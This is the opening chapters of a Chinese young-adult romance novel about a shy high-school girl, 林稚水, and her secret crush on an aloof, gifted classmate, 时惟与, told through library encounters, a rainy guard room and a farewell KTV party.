《窗外是佛罗伦萨》
1. 暗恋
《窗外是佛罗伦萨》
文/泪泠
2011年冬至,林稚水受人推荐看了一部青春爱情电影,名字叫《怦然心动》。
里面有一段台词她一直很喜欢,准确来说是喜欢韩寒在他博文里的翻译,最后这段翻译被她摘录在日记本里:
“有人住高楼,有人在深沟,有人光万丈,有人一身锈,世人万千种,浮云莫去求,斯人若彩虹,遇上方知有。”
林稚水特意用荧光笔划出最后一句话。
在她为这句翻译折服的时候,她一定想不到,就有这样一个人,站在她未来的命运里等待她。
/
2012年八月初。
那是一个闷热的午后,天气预报说下午有暴雨,天空阴沉沉的,雨滴悬而未落。
在暴雨将至的那一刻,林稚水踏入图书馆,潇潇的冷雨就立刻落了下来。
淅淅沥沥的雨声中,她轻车熟路地绕过一排排书架走向最里面的小桌,然后停住。
她常坐的位置现在属于一个认真写作业的小女孩和一个陪伴在旁的妈妈。
林稚水的视线移开,轻轻落在了另一张桌子上,却不敢看坐在那的人。
那是一个和她差不多大的少年,只穿着简单的白衣黑裤,肤色冷白,眉眼冷淡,又总是冷着一张脸,好像是个对一切都漠然的人。
林稚水在原地站定。
雨声还在耳畔,就那么一瞬间,林稚水突然生出一种前所未有的勇气和冲动。
她幸运地避开了这场雨。
那么,幸运女神是否愿意再给她一些眷顾?
她纠结片刻,然后拿出笔和便利贴,把纸垫在手心,尽力保持字迹工整:外面没有位置了,请问我可以坐在旁边吗?不会打扰你。
然后小心把便利贴放在了他的桌上。
男生顿了下,拿起便利贴,片刻后抬头看向林稚水。他的性格没有看上去的那么不近人情,微一点头。
巨大的惊喜砸过来,林稚水努力忽视自己如鼓的心跳声,鼓起勇气腼腆地露出一个微笑。
然而他却没有再抬起过头。
安静的图书馆内只有笔尖在纸上滑动的声音,林稚水小心翼翼地拉开椅子坐下,生怕自己发出一点噪音,更怕会给对面的人带来不好的印象。
坐下后,林稚水怀着不为人知的心情拿起帆布包最里层的《ThpletePersepolis》和英语词典放在桌上。
尽管他一定已经不记得这本书,但林稚水内心还是有一种雀跃。
这本书放在这里,好像就能证明他们多有缘分。
大概一个多星期前,林稚水努力踮脚去够书架上那本小王子英文原著《TheLittlePrince》。
距离不够导致她指间歪斜,滑过旁边书的书脊,林稚水强撑不过一秒就脚跟落回地面。
但身后的人大概以为她想拿的就是旁边的书,于是顺手把《ThpletePersepolis》拿下来递给她。
林稚水愣愣地接过这本陌生的书,下意识道:“谢、谢谢。”
那不是他们的第一次见面,事实上,他们已经相安无事地各自占据图书馆的南边角落半月有余。
但那是他们第一次有交集。
于是这本书有了纪念意义。
她后来回去上网搜索了这本书,得知中文名叫《我在伊朗长大》,而她居然又恰好在一年前看过这本书的电影。
林稚水握着鼠标的手慢慢收紧,仿佛握紧那一刻能感受到的来之不易的缘分。
她去书店买了同款书,里面的词汇比她原本想借的英文版小王子要高级复杂得多,林稚水很艰难但也很有决心地想要把这本书啃完。
连她自己也很难说清那股执着到底是为了什么。
而此刻坐在这张桌子上,林稚水却很难静心去看这些蚂蚁般的单词。
她假装去观察窗外的雨势,视线匆匆略过对面的人。
在那匆忙的一瞥里,他专注看着Kindle的屏幕,神色寡淡,自顾自隔绝了外界。
图书馆老旧的空调嗡嗡作响,窗外的雨淋淋漓漓,明明已经踏入清凉的室内,心里那阵燥热却还迟迟不散。
林稚水盯着桌面上的书,很认真的神情,却一个字也没看进去。
他叫什么名字?是哪个高中的?
林稚水不得而知。
潮湿气攀着窗檐爬入,窗户被遮得雾濛濛的。
林稚水忽然感觉有些悲伤。
有的人,明明近在眼前。
却又好像那么遥不可及。
暴雨来势汹汹,半天也不见放晴的趋势。
男生偏头看了眼窗户,拿起Kindle和纸笔起身离开。
林稚水注意到他没有带伞,犹豫片刻,她也跟着收拾好东西起身了。
果然,她看到男生独自站在图书馆门口的屋檐下。
林稚水推开门,在他身后停下脚步。
他明明只是站在那里。
但不知为何,林稚水却敏感地觉得那个单薄孤寂的背影正传达出一股不为人知的悲伤。
那个背影和那股哀郁的感觉,很长一段时间都停留在她的脑海中。
而此刻,林稚水的心跳声和外界的雨声都吵得她心神不宁,她默默地再次向幸运女神祈祷,小声开口,嗓音带着细不可察的颤,声音几乎被雨声盖过:
“刚刚谢谢你,那个……你没带伞吗?我包里有一把多的。”
其实没有。
男生回过头,垂眸看她,浓密低垂的睫毛投落下一小片阴影。
他拒绝得礼貌且疏离:“不用,谢谢。”
林稚水的性格让她说不出再多的话,她在原地稍有踟蹰,才反应过来可能会有人来接他。
“抱歉,打扰了。”她略有懊恼,脸微红,声音更低了。
男生语气温和一些,解释:“有司机来接,谢谢。”
林稚水愣神,潮湿的心情又放晴,轻轻“嗯”了一声,“那我走了,再见。”
“嗯,再见。”
冷而清洌的声音,却让林稚水心底泛起丝丝的甜。
林稚水撑着伞走在回家的路上,雨滴打在伞面上的声音几乎和她的心跳声重合。
她走出去好远才敢回头看他。
他已经不在原地。
林稚水收回视线,她想,下次一定要问到他的名字。
/
最后知道他的名字,还是从别人口中。
暴雨天之后,林稚水一如既往每天都去图书馆的那个角落,只是他却从那天起再也没有来过。
失望和悲伤一天天地累积。
林稚水想,难道她那天太过分,一下子花光了所有用来和他遇见的运气吗?
那天共坐一桌的记忆都随着时间变得渺茫起来。
直到暑假快要结束,好朋友夏珂早上七点半就把林稚水约到家里来,准备花费一整天时间“恶补”暑假作业。
夏珂是她高一一进去就认识的朋友,经历过文理分班和高二分班的两次大变动之后,两个人依然是同班同学。
成堆的作业铺在桌上,夏珂表情痛苦,手下的笔动得飞快,哈欠一个接一个地打。
林稚水问她:“昨天几点睡的,怎么这么困?”
夏珂听到她问,忽然又精神起来,把笔一扔,语气兴奋:“我本来打算早睡的
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,结果知道了一个惊天大瓜。”
“什么?”
“段一舟说20班有个人要来我们班了。”
林稚水惊讶:“为什么?”
20班是一中的理科实验班,里面一个个都是天赋和努力点满的学霸,当然,师资力量也是理科班里最好的。
去实验班的规则一向透明公开,年级统一的考试在年级前四十五名。
还有三个理强班三个文强班,比20班稍差一点,想进也是看年级排名。
一中高一下学期就提前分班了,分班后理强和文强班的人数还有过几次变动,而20班则从来没有过。
夏珂说:“好像是因为那个人期末考试只有第一天来了,剩下科目都没考,所以排名……别说20班,理强班都进不去,就随机分到一个平行班里,也就是我们班了。”
她又嘀咕一句:“学校也太死板了,瞎折腾什么呢,万一人家是有什么特殊情况呢,也不能通融一下吗?还不允许学霸生个病什么的?这学霸不会是哪里得罪学校了吧?”
不过她很快就把这些都抛之脑后,拿起诺基亚给林稚水展示:“我跟你说哦,新同学又帅成绩又好,我们班赚了呀!”
林稚水捧场得凑过去看——
偷拍的视角,不高的像素,模糊的人脸,但林稚水却几乎一秒认出。
那一刻她瞬间失声,大脑一片空白,半晌都说不出话来。
夏珂笑着揶揄她:“这就看呆了?”
林稚水垂眸,仍盯着屏幕,片刻后才找回自己的声音,轻声:“他是……”
夏珂低头按手机,一段聊天记录呈现在林稚水面前。
-谁要来我们班?
-时惟与
林稚水不自觉念出这个名字。
“时惟与。”
惟江上之清风,与山间之明月。
总觉得这个名字很适合他。
“你知道他?他挺有名的。”夏珂说。
林稚水语气自然:“不知道。”
她小心藏起图书馆的那些回忆,藏起自己羞于启齿的少女心事。
夏珂笑了两声,“你说知道和不知道我都不意外。”
林稚水这才想起夏珂刚刚说的话:“为什么他很有名?”
夏珂的语气流露出羡慕:“他好像是下学期很晚才转来的,成绩好,长得帅,家里有钱,想不出名都难吧?不到一个月就差不多人尽皆知了……”她顿了下,“当然,你这种两耳不闻窗外事的除外。”
在此之前林稚水的确不认识时惟与,她的交际圈小到只有夏珂一个人,自身对外界八卦不感兴趣,又没有“人脉”,因此对学校里很多事都不知情。
林稚水思索着回答,“这么一想好像是经常听到别人提起他的名字。”
她不由想得多了些。
或许在无数个与人群擦肩而过的时候都曾经有人在她身边喊出过他的名字,只是她从前从来没有留神在意过。
“可惜就在我们班待一个月,九月底月考结束人家肯定就回去了。”夏珂叹气,“唉,此男非池中之物啊。”
林稚水沉默一会儿,“他能来一个月,也已经很好了。”
夏珂煞有其事地点头:“确实,不知道体育怎么样,到时候还能代表我们班参加个运动会,说不定能拿个什么奖回来呢。”
林稚水还有些没回过神,视线落在手机里的照片上,闻言接了一句:“希望他可以参加。”
没考虑什么集体荣誉,她那个时候想的是,如果他能参加,她还可以假公济私地打着为班级的名义给他写一篇加油稿,混在人群里人云亦云般地为他欢呼。
这个时候,她的想法还是单纯而普通的。
2. 暗恋
林稚水依然雷打不动地前往图书馆,但她再也没有遇见过时惟与。
她本来只在下午去,但由于猜测是不是时惟与改了时间,所以后来干脆几乎整天都待在里面。
她还坐在原来做惯了的那个位置,只是属于时惟与的位置却被别人占据了。
虽然失望,但林稚水内心又还有着和时惟与当同学的期待,因此她时时刻刻经历着两相矛盾的情绪,倍感煎熬
万千学生中,她是少有不抵触开学的那个异类。
——因为一个人。
和时惟与做同班同学?
缓过神来,那点在图书馆没有见到他的失落褪去,报道前一天的夜晚,林稚水难以压抑自己的激动。
还是那句话,人一激动就容易犯傻。
林稚水时常想起惦记着夏珂手机里的那张照片,终于忍不住,在晚上打开了和夏珂的聊天框。
她小心翼翼地寻找冠冕堂皇的借口,想给自己留下最后一点体面。
-时惟与那张照片可以发给我看一下吗
-行啊,怎么了?
-没什么,就是感觉有点眼熟
林稚水打下这行字,删删改改犹豫半天还是发了出去,她实在找不到更好的借口。
-[斜眼笑][斜眼笑][斜眼笑]
林稚水盯着夏珂发来的表情,脸上一阵阵发烫,她没再多说什么,生怕多说多错。
好在,夏珂似乎也只是习惯性地调侃一句,没有追问,并很快发来照片。
林稚水迅速建了一个小号,把照片转发给小号,删去大号的聊天记录,再登上小号把照片放入收藏。
了却一桩“心头大事”,林稚水松了一口气,她不敢多看那张照片,好像多看几眼自己的秘密就无处遁形,于是照片像烫手山芋被扔进收藏夹不见天日。
直到某天她得空开始装饰自己的小号。
ID改作Smultronst?lle,是她无意间了解到的一个瑞典语,译作野草莓之地,有“个人珍藏的隐秘角落”之意。头像和背景都来自《我在伊朗长大》电影的截屏。生日设置在他帮忙拿书的那天——8.3。
个性签名犹豫很久,最终她输入:
在暴雨将至时,缘分悄然而至。
她对着那行略显矫情的文字看了很久,然后忍不住低头捂住了自己泛红的傻笑着的脸。
/
于众多学生的哀嚎和诅咒中,没有天灾没有人祸,开学报道的那天还是来了。
当然,林稚水并非悲痛学生中的一员,她脚步轻快,奔赴那个期待已久的见面。
他还会记得她吗?
林稚水不得而知。
从小到大,林稚水都是一个不擅长也不喜欢期待的人,因为她的期待往往会落空,并得到更大的失望。
在尚没有学会如何抑制和掐灭内心期待的这一年,林稚水忐忑地推开了教室的后门。
这一天,她的期待没有落空。
时惟与单独坐在教室最里面最后的位置,他坐得直,身材单薄却不显瘦弱,微低头,露出冷白的后颈,一手随意地翻着新书,一手搭在一边,腕骨突出,指节分明。
他游离于教室嘈杂的环境之外,一副生人勿近的样子。
教室的气氛都因他变得有些微妙起来,总有或隐秘或大胆的目光投落在他身上。
而他任人打量,神情冷漠。
林稚水没敢多看,背着书包匆匆坐下。
她在中间靠前的位置,一个回头看他都不方便的位置。
夏珂早已经到了,在她旁边的位置上飞快动笔。
“昨晚不是说补好了吗?”林稚水奇怪。
夏珂尴尬一笑,“我把摘抄忘了。”
而后又郁闷道:“我才写了两面,怎么办?肯定来不及了……其实我感觉老陈不会收,收了也不会看。”
补肯定是来不及了,林稚水只能给予好友一些心理安慰:“我也觉得不会查。”
夏珂叹气,依然不敢停笔。
大概没两分钟,班主任陈东就进了教室,没搞什么自我介绍,只简单提了一句班里来了个新同学,名字叫时惟与,就风风火火地组织大家收交暑假作业。
他面色沉沉地站在讲台上,大有一副要彻查到底的架势。
夏珂到底没敢把只有两面的摘抄本交上去,老老实实上去和老陈坦白。
老陈睨她一眼,冷哼一声,“放学前交给我。”
报道返校这天,虽然不能回家,但是全天都是自习课。
一直到晚自习,才会有大三门的暑假作业和答案发下来要求自批自改。
老陈不知道夏珂是近乎一字未写的情况,以为给她的时间足够了。
夏珂回来后还是一副痛苦面具:“我宁愿他骂我一顿然后我就不要写了……一暑假的作业让我一天补?这怎么补得完?稚水,午饭我不去吃了,在教室里补作业,你帮我随便带点什么吧……”
林稚水点头,轻声应“好”。
午饭铃打响,夏珂抄完了一本书的素材,问林稚水借第二本书。
林稚水随手抽出一本书,夏珂夸张地嗅了嗅书香,拜了拜说:“抄你的资料书能不能让我作文也拿个高分呀。”
林稚水被她逗笑。
二人对话耽误了些时间,吃饭心切的学生们早就全都跑没影了。
林稚水拿着钱包出去,走向后门。
学校后门有一条小吃街,很受学生们欢迎。
林稚水走到后门给保安检查了通行证,刚收回通行证,毫无征兆的大雨就落了下来。
林稚水狼狈地躲进保安室里。
保安看了眼天,“没事儿,雷阵雨,过会儿就停了,你先坐那和那个等车的学生待会儿。”
林稚水忙着低头检查衣物有没有哪湿了,只听到了后半段话。
等车的学生?
她抬头,看到时惟与端坐在保安室的沙发上,低头摆弄iPod。
林稚水几乎心脏骤停,但又很快回过神来。
她不想在他面前表露出任何一点不自然。
时惟与戴着单侧耳机,应该能听到她和保安的对话,但他头也没抬。
可是,林稚水莫名有一股冲动,面对时惟与的事,她总是会犯傻。
林稚水开口,语气是故作的平静,轻声说:“好巧,又见面了。”
在她如雷的心跳声中,时间被拉得漫长。
终于,时惟与抬头看她,片刻后,淡声说:“好巧。”
……他还记得她。
林稚水松了口气,心情雀跃起来,尽管似乎换谁来他都会礼貌回一句“好巧”,但她还是仿佛受到了某种鼓舞,于是她说道:“我是林稚水……没想到图书馆之后还能再见到你。”她又多补一句:“我们现在是一个班的。”
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时惟与神色如常,点点头:“时惟与。”顿了下,他又说:“很巧。”
林稚水笑了下,说“是啊”,看出他没有什么和别人交流的欲望,她也就没有再说话。
她刚刚急着提到对于她而言有特殊意义的图书馆,想告诉他我们不是第一次见面,其实我们早有缘分,却忘记去思考选择一个恰当的时机。
他会不会觉得……烦?会不会觉得她没分寸?把握不好交往距离?
想到这里,林稚水默默低头,心里立刻变得乱糟糟的,她慢慢低下头来。
她如此轻而易举地被时惟与影响到情绪。
雨点气势汹汹地砸在地面上,搅乱了林稚水的少女心事。
但好在,保安室的气氛沉默但并不尴尬,反而在雨声中被衬托得静谧。
于是林稚水也渐渐冷静下来,不再去胡思乱想,珍惜这段来之不易的独处时光,并开始默默祈祷这是一场没被天气预报捕捉到的特大暴雨。
最好永远也不要停下来。
她还想和他多待一会儿。
但可惜这样突如其来的雨不过一两分钟就停了。
林稚水推开保安室的门,犹豫一下,又回头,和时惟与挥了挥手,“再见。”
时惟与也礼貌回应:“再见。”
林稚水努力让自己像只是对待一个普通同学一样对待时惟与。
不会有人知道,她离开的背影下,藏着多么复杂的情绪。
其实林稚水很想回去,想自然地坐在他身边不远的位置,想问问他:为什么之后没有再去图书馆了?你刚刚有讨厌我的举动吗?
但她自认没有这个勇气和资格。
因为他们是连朋友都算不上的人。
连同班同学都说得有些勉强。
/
走在路上,林稚水还在想刚刚保安室里的那点时光,满脑子是时惟与,在排队的时候,又听到周围人反复提起“时惟与”的名字。
自从知道他叫“时惟与”之后,她的耳朵仿佛有了能够自动捕捉的功能,不再错过关于他的任何消息。
排在她前面的女生说:“我们班的男生不是装就是素质低,那喜欢时惟与不是很正常的事吗?”
女生的朋友打趣她:“全校那么多人喜欢时惟与呢,你的竞争压力很大哟。”
女生笑嘻嘻,浑不在意:“说明我眼光好呀。”
有人插进她们的谈话:“你们是说时惟与吗?听说他转班到11班了。”
一个应该是20班的女生抱怨道:“学校有必要这样么?一想到在班里一个月看不到他都不想上学了。”
“诶呀,你跟时惟与是同学吗?你们关系怎么样呀?”
女生的声音响起,声音比之前低了些:“就同学关系,算不上朋友。”
“他这种人是不是都不屑于交朋友啊。”
女生笑:“好像也有那么一两个关系好的吧。”
几个女孩子七嘴八舌地聊起来,林稚水排在后面始终一言不发。
这是她第一次切身感受到时惟与的受欢迎程度。觉得理所当然的时候,内心还有些说不清道不明的酸楚。
她突然很想逃离这里,逃回那个下着雨的保安室里,逃回那个暴雨天的图书馆里。
此刻,艳阳天。
她想到周杰伦《晴天》里的一句歌词:
消失的下雨天,我好想再淋一遍。
3. 暗恋
林稚水因为去买了两杯非常受欢迎的香草奶昔所以回到教室时晚了些,班级里的人差不多齐了。
但时惟与还没有来。
林稚水自然收回视线,看向夏珂,她在位置上低着头,看上去像是在发呆。
“来晚了,饿了吗?”
夏珂摇了摇头,接过林稚水手里的奶昔和凉皮。
林稚水还想关心下夏珂的补作业进度,肩膀忽然被人拍了一下,林稚水回头看去。
体委段一舟朝她友好地笑笑:“林稚水,下周六我想请几个朋友去唱k,你去吗?”
林稚水一向不爱参加这种活动,但也没第一时间拒绝,她没什么犹豫地说:“夏珂去的话我就去。”
段一舟挠了下头,“你俩真是好朋友,夏珂刚刚也这么说的……诶呀,去吧,我们也算是挺过两次分班的有缘人了!
忘了跟你说了,我差不多下个月就要出国了——也可能会提前。总之趁有时间咱们来个最后的告别仪式,好歹当了一年同学呢……马上你们又是准备月考又是准备运动会,估计也没什么时间能约你们出来了。”
林稚水微一愣神,“你要出国?”
段一舟嘿嘿一笑解释:“本来高一就要出国的,然后计划有变。当时也没想到能跟你们当这么久同学,想着也相处不了多久就没特意提过。”
他又催促,语气轻佻:“去不去给个准话呗~诶呀去吧,偷偷告诉你,年级男神时惟与也会去哦,再加上本帅哥坐镇,怎么样?很心动吧?”
听到时惟与的名字,林稚水的心脏漏了一拍。
夏珂开口:“人家跟你熟吗就去?别消费我们校草时惟与了好不好?”
段一舟不服气说:“什么叫消费?能跟我一块儿出国的兄弟,我们关系能不好?还有,啧,谁封的他是校草?把我放在哪里了?”
林稚水心头一跳,捏紧了手里的奶昔。
夏珂翻了个白眼:“行了,你别缠着稚水了,我们去还不行吗?”
段一舟嬉皮笑脸道:“好好好,千万不要给我准备离别礼物,我一定不会期待的。”
夏珂毫不客气:“给你准备个屁。”
段一舟说着婉拒婉拒,正要去找新进班的同学,林稚水突然开口:“那……时惟与他也要出国了吗?”
段一舟脚步停了下,想了想,还是没有刻意隐瞒,“肯定啊,不过不跟我一起。”
林稚水呼吸一滞,不由自主看向时惟与的位置。
因为同班同学拉近的一些距离,转瞬又变得遥不可及。
她低下头,吸着奶昔没再说话。
这一整天,林稚水努力啃那本英文书,但一个单词也没有看进去,她暗怀心事,默默舔舐自己的伤口。
/
夜晚好像很容易把人变得敏感脆弱。
林稚水躺在床上,静静地想着段一舟说的话。
——“肯定会啊。”
究竟是幸运还是不幸呢?
上天给了她和时惟与相识的机会,时限却短的可怜。
林稚水带着悲伤的心情很晚才睡着,第二天早读都有些无精打采。
和她一样困倦的是夏珂,她昨晚也没睡好,比林稚水还要困一些,直接在早读课上打起了瞌睡,被无情的班主任罚站了一节课。
好不容易捱到下课,夏珂泄气地坐下,闷声说:“再也不熬夜看小说了。”
林稚水问她:“你想好要给段一舟送什么临别礼物了吗?”
夏珂对此很无所谓:“随便送本书什么的吧。”
林稚水想了想,提议道:“要不我们周六去逛逛——对了,忘记问约的几点了,不知道来不来得及……”
夏珂趴下:“那你去问下他,我要补会儿觉……”
“我去吗?”林稚水有点犹豫。
夏珂眯着眼直起身,“算了,我陪你去吧,让你这个胆小鬼去跟不熟的人问话还是太为难你了。”
林稚水看向段一舟所在的方向,想了想,默默站起来,“你睡吧,我一个人去就好。”
夏珂感慨:“我好欣慰啊稚水……”
然后秒趴下埋头补觉。
段一舟个子高,坐在最后,在他的右手边隔着一个过道的,是时惟与。
林稚水走过去,目光自然地从时惟与身上划过,最后在过道停下,站得笔直,仿佛参加某个体态考试。
性格内向,又没有好友陪伴,主动和不熟的段一舟说话,她的声线还有些不稳:“段一舟,你定好时间了吗?”
时惟与就在她背后,她第一次感谢窄小的过道,让他们的距离变得那么近。
段一舟“啊?”了一声,说着还没定呢,你先等一下,然后走到时惟与桌前,屈指扣了扣桌面:“这周六你什么时候有空啊?”
林稚水也转过去,看向时惟与,仿佛和段一舟一样只是单纯想等他的一个答案。
但其实她紧张得呼吸都乱了,而刻意地去注意呼吸的频率,反而变得不会呼吸了。垂在一旁的发丝又突然变得很有存在感,让她的脸颊都变得痒痒的。
林稚水最终屈服,微低下头,不再看他,只把视线落在时惟与手中的笔上。
她略微分神,那支黑色的笔在时惟与手指间被转出残影,她费了点力才辨认出是哪个款式。
时惟与头也没抬,听不太出情绪地说:“都行,你定。”
段一舟没犹豫:“行,我定,你必须要来啊。”
时惟与可有可无地应了一声。
思考一瞬,段一舟又转头看向一旁的林稚水:“七点半怎么样?我到时候再拉个群说一声。”
林稚水将停在笔上的视线移开,点点头,“好。”
说完,林稚水又多补了一句,“我知道了,我等会儿跟夏珂说一下。”
她刻意如此,也只是想让自己的声音多在时惟与耳中停留一会儿。
这样他对我的印象会深一点吗?
林稚水想。
这样幼稚的除了她自己无人知晓的小心思还体现在方方面面。
林稚水整个上午喝水都喝得很频繁,夏珂奇怪问她:“今天怎么这么渴?”
林稚水被呛了下,连忙解释说是因为天热。
她没说的是,去饮水机接水的时候,她起身时可以趁机看一眼时惟与。
只要能看一眼他,就可以得到简单的小幸福。
不过被夏珂这么一提,林稚水也不敢太明显了。
思来想去半天,她谎称原来用的水杯坏了。换了个小型的旧杯子,喝不到几口水杯子就空了。
终于,她可以理直气壮地每天去接三次水了。
中午一次,下午一次,晚上一次。
教室最后面和前面都放了垃圾桶,林稚水还保持着一天两次或三次去后面扔垃圾的频率。
她甚至想好了,如果有人问她为什么不去前面扔,她一定会用不想路过讲台怕正好碰上老师来上课的借口。
但没有人问她,因为没有人在意。
时惟与一定也是其中一员。
尽管如此,林稚水依然乐此不疲。
她不需要什么回应,她只想多看他一眼。
这些小事并不能构成什么实际意义,不过是少女捧着一颗诚挚的心,然后随心而动罢了。
一周下来,林稚水和时惟与依然没什么交集。
这很正常,事实上时惟与和班里大部分同学都没什么交集,而段一舟一个人就是剩下那一小部分。
时惟与似乎经常有事,很忙,这一周有两天都没来,一向对请假管得很严的老陈却什么也没说。
一个课间,几个男生从前门进来,聚在林稚水不远处打闹,有人笑嘻嘻说:“感觉时惟与对我们班一点归属感也没有。”
这话乍一听像是在开玩笑,仔细听又能分辨出一些排外和不满的情绪。
林稚水握紧了手里的笔,抬头看过去,说话的是班里的数学课代表。
段一舟毫不客气回应:“就你还提归属感,去年运动会的时候让你报个项目也没见你报,时惟与还能替我们班参加个运动会呢。”
有人出来维护时惟与:“没归属感不正常?人家月考结束不就回20班了?次次年级前三的成绩你当假的呢?”
数学课代表脸微红,嘴上并不服气:“运动会?真的假的?”
正巧时惟与拿着矿泉水从后门进来,段一舟远远叫住他,“九月底运动会报个名,跑个一千,成吗?”
教室静默一瞬,好多人去看时惟与。<
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p>林稚水也转过头去,混在人群里光明正大回头看他。
时惟与饮尽最后一口水,走向座位,一边捏扁矿泉水瓶随手扔进垃圾桶,一边语气一如既往没什么波澜:“行啊。”
林稚水默默低头。
她一边高兴可以看见时惟与参加运动会,一边又反思自己。
她刚刚心里也很愤怒,但最终没有勇气站出来维护时惟与。
为了隐瞒自己的暗恋心事,在喜欢的人被诋毁的时候,选择了沉默。
她这样,是对的吗?
/
段一舟喜欢热闹,聚会那天来了不少人,还有好多林稚水的熟面孔,是高一时候的同学。
他现在和三四个男生坐在一角,时惟与是其中之一。
那还坐着一个高挑的女孩子,在女孩们大多留着厚重刘海的这一年,她扎着马尾露出光洁的额头,坐在那里像一个特殊的漂亮天鹅。
她熟稔地和那几个男生谈笑风声,大方得体。
时惟与并不怎么接话,安静坐着,林稚水偷偷看过去的那一眼里,他拿着酒瓶一饮而尽。
林稚水良久没有回过神来,在她印象里,抽烟喝酒那都是叛逆的“坏学生”干的事,和逃课去网吧打游戏一样被老师和家长们明令禁止,为此她对这类事也都隐隐有些抵触。
但看到时惟与这样的好学生如此娴熟地做着不符合他风光霁月的气质的事……
她居然觉得他更加有魅力了。
如此矛盾。
如此令人着迷。
身旁人的说话声打断她的胡思乱想,有人略带酸味地和朋友说:“闻欣和段一舟他们关系这么好吗?感觉他俩……”
“什么他俩呀,闻欣喜欢时惟与你不知道?高一音乐课上她说初中就开始喜欢了。”
“真的假的?那时惟与答应了吗?”
“又没告白,答应什么?”
“为什么不告白?她长得好漂亮,是我肯定舍不得拒绝。”
“你想得美呢!”
话题中心的主人公闻欣端着一杯橙汁,对段一舟说:“去了国外好好照顾自己,遇到漂亮女生留点心眼,别被骗了。”
班里几个男生围过去,笑嘻嘻和段一舟开玩笑,视线却时不时看向闻欣:“到时候喜欢的人看重你的钱了别被骗的一分不剩,跑回国找哥几个借钱啊。”
段一舟摆摆手,笑说:“喜欢我的人看重我的钱?那不是好事?反正我有钱。”
“段哥帅啊!”
男生们笑闹成一团。
又有几个女生凑过去,眼神落在时惟与身上,醉翁之意不在酒地问段一舟:“那你喜欢什么类型的女生?”
段一舟想了想,坦然道:“那应该遇到才知道吧。”
夏珂对那边的热闹一点也不关心,跟林稚水打了招呼,就去和班里另一个女生唱歌了。
林稚水一个人坐在那,没有其他认识的人,有些局促,直到实在坐不住了,她忍不住偷偷溜出去透气。
如果她晚一秒,听到闻欣的话,就一定不会走了。
闻欣问:“那时惟与你呢?你喜欢什么类型的女生?”
时惟与没怎么犹豫,淡声说:“安静的。”
闻欣大概听懂什么,笑了下,没再说话。
但围在那的女生还在那或大声或刻意地说话,和其他人打打闹闹,用笨拙的手段想引起那个人的一些注意。
时惟与放下酒瓶,跟段一舟说:“这里太吵了,我出去待会儿。”
段一舟没好气地说他:“来KTV找安静,真有你的。”
浑然没有一点是他强逼时惟与过来的自觉。
林稚水跑去了店后门吹晚风,此刻的风不热不凉,吹在身上很舒适。
后门不像前门那儿那么热闹,对着的街很萧索,没有行人。
身后传来店门被推开的声音,还有“啪嗒”一声响,林稚水回头。
时惟与就站在她身后,微低着头,一只手拿着的银色打火机已经迸发出蓝色的火焰,另一只手插在口袋里。
林稚水嘴比脑子快:“……时惟与?”
他抬眼看她,收起打火机,神色恹恹。
在静谧的夜,空旷无人的街。
他说,好巧。
4. 暗恋
淡淡的月光斜斜印在他身上,那声寒暄的“好巧”仿佛不是出自他口。
但林稚水知道自己没有听错。
场面太过玄幻,林稚水措手不及,一时没有应声。
总觉得过了大概有半个世纪那么长,她高高悬着的心才落回胸膛,世界才重新开始运转。
林稚水终于回神,视线看向他,想尽力表现得落落大方,但又矛盾地不敢大声说话。
“好巧,你,你怎么也出来了?”她磕巴了一下,脸微红。
说完,林稚水又立刻后悔了,暗骂自己不知分寸。
她害怕自己最后一句话会不会让时惟与觉得太过没分寸感,会不会让他感到冒犯,给他一种质问的感觉。
面对时惟与,她不自觉地仿佛变了一个人,变得敏感,变得小心翼翼,总是做不到坦率。
她忐忑地等待回复。
“里面闷,出来透透气。”时惟与说。
好巧。
真的好巧。
她也是因为这个原因出来的。
又刚好,他们都选择从后门出来。
林稚水内心突然有一点高兴,为这一点巧合。
她没忍住弯了弯眼,“我也是。”
时惟与点点头,没再说话。
KTV的吵闹声被隔绝在门后,九月份的天气还没凉下来,夜风徐徐吹着,十分安静。
林稚水也不再说话,甚至不敢有什么动作,生怕惊扰了二人独处的氛围。
然而,她还没来得及胡思乱想什么,就看到时惟与毫不犹豫地走了。
林稚水愣愣地看着他的背影,在他身后小声说:“再见。”
他短暂地出现,又迅速地离开。
像一场美梦。
尽管如此,还是迅速把林稚水的心神全部占据了。
林稚水本意是出来找安静,但这会儿她的心里很乱,也呆不下去了,又回到吵闹的包厢。
看到她回来,段一舟立马凑到她面前问:“林稚水,你有没有看到时惟与?”
林稚水沉默了一秒,还是实话实说:“他已经从后门走了。”
段一舟“啧”了一声,“这家伙……”他又对着林稚水扬起笑容:“行,我知道了,谢谢啊。”
说完又风风火火地走了。
夏珂此时在和几个女生凑在一起玩飞行棋,林稚水坐在一边看了会儿,犹豫着要不要提前请辞,又找不到什么正当理由。
她心里装着事,在这里待不下去。
夏珂扔骰子扔出一个六,她满脸愤愤地握着棋子走向终点又往后退了五步,抽空看了眼林稚水,说:“玩不?”
林稚水摇头,“我看你玩。”
夏珂凑过来小声说:“想回去就回去,没事,我等会儿帮你跟段一舟说一声。”
林稚水沉默了两秒,还是答应了,“行,谢谢。”
夏珂冲她狡黠一笑,“没事。”
林稚水独自走在路上,直到路过文具店,她停下。
推门进去,种类繁多的笔一排排地摆着。
时惟与用的同款笔被放在离门最近的地方,看起来像是为那些懒得挑选喜欢随手一拿的人准备的。
时惟与买那支笔一定没有花太多心思。
但林稚水有。
她认真地挑选了一支,又略带心虚地想,会有人注意到她换了常用的牌子和时惟与用了同款吗?
不。
肯定不会的。
没有人会关注她,用这种牌子的笔的人又那么多。
不过尽管如此,林稚水还是做贼心虚地没有去使用那支笔,只是把它放在了笔袋深处。
仅当纪念。
/
尽管段一舟说是一月左右后出国,但他来学校的次数却减少了。
有一个暗恋他的女生一开始会频频转头去看那个位置,后来终于忍不住,在某天午休的时候,林稚水撞见有人蹲在楼梯口偷偷哭了一场。
林稚水默默路过,心里也有一道被划开的伤口。
如今那个哭泣的少女。
大概是她未来的模样。
段一舟要出国,体育委员的重任被交在了另一个自告奋勇的女生的头上。
还有两周就是运动会,运动会之后是国庆。
为了给高三的联考让路,高一高二的月考被安排在了国庆假期之后。
小道消息出来以后,班里的大家都有些亢奋,这不就意味着可以疯玩一段时间吗?
运动会的单子刚出来,新体委贾思雨就开始号召大家积极报名参加了。
段一舟表示自己必将全力支持协助,他这时候勾着时惟与的肩膀,慷慨激昂:“虽然我不能在操场上一展风姿,但我相信我兄弟一定能替我勇夺冠军的!”
时惟与瞥他一眼,懒得理他。
贾思雨笑嘻嘻的,“行!我会替你见证的!”
林稚水默默听着他们的谈话。
